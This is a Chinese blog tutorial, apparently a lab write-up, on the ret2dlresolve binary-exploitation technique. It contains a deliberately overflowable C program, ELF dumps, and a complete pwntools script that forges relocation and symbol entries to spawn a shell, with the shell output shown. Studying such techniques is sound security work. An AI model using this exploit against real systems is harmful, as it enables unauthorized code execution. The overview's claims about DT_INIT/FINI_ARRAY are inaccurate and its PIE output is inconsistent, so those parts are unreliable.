ret2dlresolve
概要
利用ret2dlresolve,攻击者可以诱导二进制程序解析一个所选择的函数(比如system)为plt。 动态链接的ELF对象在第一次使用PLT和GOT调用时导入libc函数。在重定位runtime symbol,RIP将跳转到PLT并尝试解析该符号。在这个过程中,一个"resolver"被调用。
ret2dlresolve 是一种基于动态链接库 (Dynamic Linking) 的攻击技术,可以用于绕过 NX 或 ASLR 等防护机制。
在一个程序中,如果使用了动态链接库,在程序启动时,动态链接器会自动将需要的库加载到进程的虚拟地址空间中。攻击者可以构造恶意输入,使得程序在运行过程中调用动态链接库中的函数,从而利用该函数实现攻击。
具体来说,攻击者可以通过覆盖某个全局变量(如 DT_INIT 或 DT_FINI_ARRAY)的值为动态链接库中某个函数的地址,从而在程序运行过程中自动加载该动态链接库。然后,攻击者再构造一个伪造的 ELF 结构,包含需要调用的函数名和参数等信息,然后将该结构放在动态链接库中,使得程序调用该函数时就会进入到攻击者构造的伪造的 ELF 结构中。
总的来说,ret2dlresolve 攻击技术利用了动态链接器和 ELF 结构的机制,在程序运行过程中构造伪造的 ELF 结构,从而实现对程序的控制和攻击。由于该攻击技术利用了动态链接库的机制,因此可以绕过 NX 或 ASLR 等防护机制。为了防范该攻击技术,可以采取一些防范措施,如限制动态链接库的加载、使用可执行栈保护技术等。
漏洞程序
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
开启nx保护和pie
└─$ checksec --file=./vuln
[*] '/home/kali/exploits/ret2dlresolve/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
dynamic节
└─$ readelf -d ./vuln
Dynamic section at offset 0x2ef0 contains 26 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x1000
0x0000000d (FINI) 0x11dc
0x00000019 (INIT_ARRAY) 0x3ee8
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x3eec
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x1ec
0x00000005 (STRTAB) 0x28c
0x00000006 (SYMTAB) 0x20c
0x0000000a (STRSZ) 166 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x3ff4
0x00000002 (PLTRELSZ) 16 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x3c4
0x00000011 (REL) 0x384
0x00000012 (RELSZ) 64 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffb (FLAGS_1) Flags: PIE
0x6ffffffe (VERNEED) 0x344
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x332
0x6ffffffa (RELCOUNT) 4
0x00000000 (NULL) 0x0
dynamic节表项的结构体:
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
symtab
symtab: dynamic linking symbol table address (.dynsym)
符号表项结构体:
typedef struct {
Elf32_Word st_name;
Elf32_Word st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other; // 0, no use
Elf32_Half st_shndx;
} Elf32_Sym;
readelf -s 读取符号表:
└─$ readelf -s ./vuln
Symbol table '.dynsym' contains 8 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (3)
3: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
4: 00000000 0 FUNC WEAK DEFAULT UND [...]@GLIBC_2.1.3 (4)
5: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
6: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...]
7: 00002004 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
Symbol table '.symtab' contains 41 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FILE LOCAL DEFAULT ABS Scrt1.o
2: 000001cc 32 OBJECT LOCAL DEFAULT 3 __abi_tag
3: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
4: 000010a0 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones
5: 000010e0 0 FUNC LOCAL DEFAULT 14 register_tm_clones
6: 00001130 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux
7: 00004010 1 OBJECT LOCAL DEFAULT 25 completed.0
8: 00003eec 0 OBJECT LOCAL DEFAULT 20 __do_global_dtor[...]
9: 00001180 0 FUNC LOCAL DEFAULT 14 frame_dummy
10: 00003ee8 0 OBJECT LOCAL DEFAULT 19 __frame_dummy_in[...]
11: 00000000 0 FILE LOCAL DEFAULT ABS source.c
12: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
13: 00002118 0 OBJECT LOCAL DEFAULT 18 __FRAME_END__
14: 00000000 0 FILE LOCAL DEFAULT ABS
15: 00003ef0 0 OBJECT LOCAL DEFAULT 21 _DYNAMIC
16: 00002008 0 NOTYPE LOCAL DEFAULT 17 __GNU_EH_FRAME_HDR
17: 00003ff4 0 OBJECT LOCAL DEFAULT 23 _GLOBAL_OFFSET_TABLE_
18: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...]
19: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0
20: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
21: 00001090 4 FUNC GLOBAL HIDDEN 14 __x86.get_pc_thunk.bx
22: 00004008 0 NOTYPE WEAK DEFAULT 24 data_start
23: 0000118d 47 FUNC GLOBAL DEFAULT 14 vuln
24: 00004010 0 NOTYPE GLOBAL DEFAULT 24 _edata
25: 000011dc 0 FUNC GLOBAL HIDDEN 15 _fini
26: 00001189 0 FUNC GLOBAL HIDDEN 14 __x86.get_pc_thunk.dx
27: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@G[...]
28: 00004008 0 NOTYPE GLOBAL DEFAULT 24 __data_start
29: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
30: 0000400c 0 OBJECT GLOBAL HIDDEN 24 __dso_handle
31: 00002004 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
32: 00004014 0 NOTYPE GLOBAL DEFAULT 25 _end
33: 00001060 44 FUNC GLOBAL DEFAULT 14 _start
34: 00002000 4 OBJECT GLOBAL DEFAULT 16 _fp_hw
35: 00004010 0 NOTYPE GLOBAL DEFAULT 25 __bss_start
36: 000011bc 28 FUNC GLOBAL DEFAULT 14 main
37: 000011d8 0 FUNC GLOBAL HIDDEN 14 __x86.get_pc_thunk.ax
38: 00004010 0 OBJECT GLOBAL HIDDEN 24 __TMC_END__
39: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...]
40: 00001000 0 FUNC GLOBAL HIDDEN 11 _init
strtab
strtab: dynamic linking string table address (.dynstr)
jmprel
jmprel: .rel.plt address (for function) 重定位结构体:
typedef struct {
// target offset (ex. lazy binding 時, .rel.plt 內的 offset 即是 func@got 的 address)
Elf32_Addr r_offset;
// first 3 bytes for reloc symbol index in symbol table (.dynsym 的 num)
// last 1 byte for reloc type
Elf32_Word r_info;
} Elf32_Rel;
#define ELF32_R_SYM(r_info) (r_info >> 8)
#define ELF32_R_TYPE(r_info) (r_info & 0xff)
readelf -r 读取重定位信息:
─$ readelf -r ./vuln
Relocation section '.rel.dyn' at offset 0x384 contains 8 entries:
Offset Info Type Sym.Value Sym. Name
00003ee8 00000008 R_386_RELATIVE
00003eec 00000008 R_386_RELATIVE
00003fec 00000008 R_386_RELATIVE
0000400c 00000008 R_386_RELATIVE
00003fe0 00000306 R_386_GLOB_DAT 00000000 _ITM_deregisterTM[...]
00003fe4 00000406 R_386_GLOB_DAT 00000000 __cxa_finalize@GLIBC_2.1.3
00003fe8 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
00003ff0 00000606 R_386_GLOB_DAT 00000000 _ITM_registerTMCl[...]
Relocation section '.rel.plt' at offset 0x3c4 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
00004000 00000107 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.34
00004004 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
延迟绑定图示
_dl_runtime_resolve(link_map,reloc_index)获取重定位地址写入got中。link_map.l_info可以获取.rel.plt,.dynsym以及.strtab节地址,而reloc_index可以在.rel.plt节中索引定位到Elf32_Rel。
- Elf32_Rel.r_offset存放需要重定位函数的偏移地址,该地址指向got表项。
- ELF32_R_SYM(Elf32_Rel.r_info)获取.dynsym表的表项,从而获取需要重定位的符号Elf32_Sym
- 通过Elf32_Sym.st_name从.dynstr表中获取重定位符号名read@GLIBC_2.0
- _dl_runtime_resolve搜索所有已经加载的共享库,定位到真实的地址,把地址更新到.got.plt中,然后,调用read@GLIBC_2.0
pwn
from pwn import *
elf = context.binary = ELF('./vuln')
bss_addr = elf.bss()
plt_addr = elf.get_section_by_name('.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr
offset = 76
stack_size = 0x900
stack_base_addr = bss_addr + stack_size
rop_size = 0x100
# stage 1:
rop = ROP(elf)
rop.raw('a' * offset)
rop.read(0,stack_base_addr,rop_size)
#rop.migrate(stack_base_addr)
libc_addr = 0xf7c00000
rop.raw(libc_addr + 0x16e138)
rop.raw(stack_base_addr)
p = process('./vuln')
log.info(rop.dump())
p.sendline(rop.chain())
# stage 2 :
rop = ROP(elf)
rop.raw(plt_addr)
fake_rel_offset = 24
rel_size = 8
sym_size = 16
# reloc_index for position the fake elfn_rel
reloc_index = stack_base_addr + fake_rel_offset - rel_plt_addr
rop.raw(reloc_index)
# the return address in call read@plt
rop.raw(b'b' * 4)
# fake elfn_sym
align = 16 - (stack_base_addr + fake_rel_offset + rel_size - dynstr_addr) % 16
fake_sym_addr = stack_base_addr + fake_rel_offset + rel_size + align
sym_index = (fake_sym_addr - dynsym_addr) / 16
sym_index = int(sym_index)
st_name = fake_sym_addr + 16 - dynstr_addr
st_value = 0
st_size = 0
st_info = 0x12
# fake elfn_rel
rel_offset = elf.got['read']
rel_info = (sym_index << 8) | 0x7
# system's parameter
system_str = 'system\x00'
bin_addr = fake_sym_addr + sym_size + len(system_str)
rop.raw(bin_addr)
rop.raw('aaaa')
rop.raw('aaaa')
# padding fake elfn_rel
rop.raw(rel_offset)
rop.raw(rel_info)
# padding fake elfn_sym
rop.raw(align * 'b')
rop.raw(st_name)
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
# padding fake dynstr
rop.raw('system\x00')
rop.raw('/bin/sh\x00')
rop.raw( (100 - len(rop.chain())) * 'c')
p.sendline(rop.chain())
p.interactive()
pwn 运行结果:
└─$ python myexploit.py
[*] '/home/kali/exploits/ret2dlresolve/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Loaded 5 cached gadgets for './vuln'
[+] Starting local process './vuln': pid 129408
[*] Switching to interactive mode
$ w
04:38:58 up 8:46, 6 users, load average: 0.29, 0.23, 0.19
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kali tty7 :0 Fri04 24:24m 3:55 0.32s xfce4-session
kali pts/1 192.168.44.1 00:35 2:09m 1.48s 1.48s -zsh
kali pts/2 192.168.44.1 03:16 2.00s 2.35s 0.54s python myexploit.py
kali pts/3 192.168.44.1 00:35 3:16m 1.71s 1.11s gdb -q -ex init-gef -q -p 88491
kali pts/5 192.168.44.1 03:39 4:55 2.00s 2.00s -zsh
kali pts/6 192.168.44.1 04:31 4:58 0.16s 0.16s -zsh
关键点
- 利用read的溢出漏洞获取再次输入的机会和栈空间转移
栈偏移 栈内容 +76 read@plt +80 gadget1 == add esp,8; pop ebx; ret +84 0 +88 stack_base_addr = bss段地址 + stack_size +92 stack_size +96 gadget2 == pop esp ; ret +100 stack_base_addr
因为本机编译的vuln中无法获得栈空间转移的gadget,所以,为了演示只能用libc中的gadget。
- bss段的栈布局
栈偏移 | 栈内容 |
---|---|
+ 00 | plt[0] |
+ 04 | reloc_index |
+ 08 | padding |
+ 12 | /bin/sh地址 |
+ 16 | elfn_rel.r_offset |
+ 20 | elfn_rel.r_info |
+ 24 | elfn_sym.st_name |
+ 28 | elfn_sym.st_size |
+ 32 | elfn_sym.st_value |
+ 36 | elfn_sym.st_info |
+ 40 | “system\x00” |
+ 47 | “/bin/sh\x00” |
参考
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_07_ret2dlresolve/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。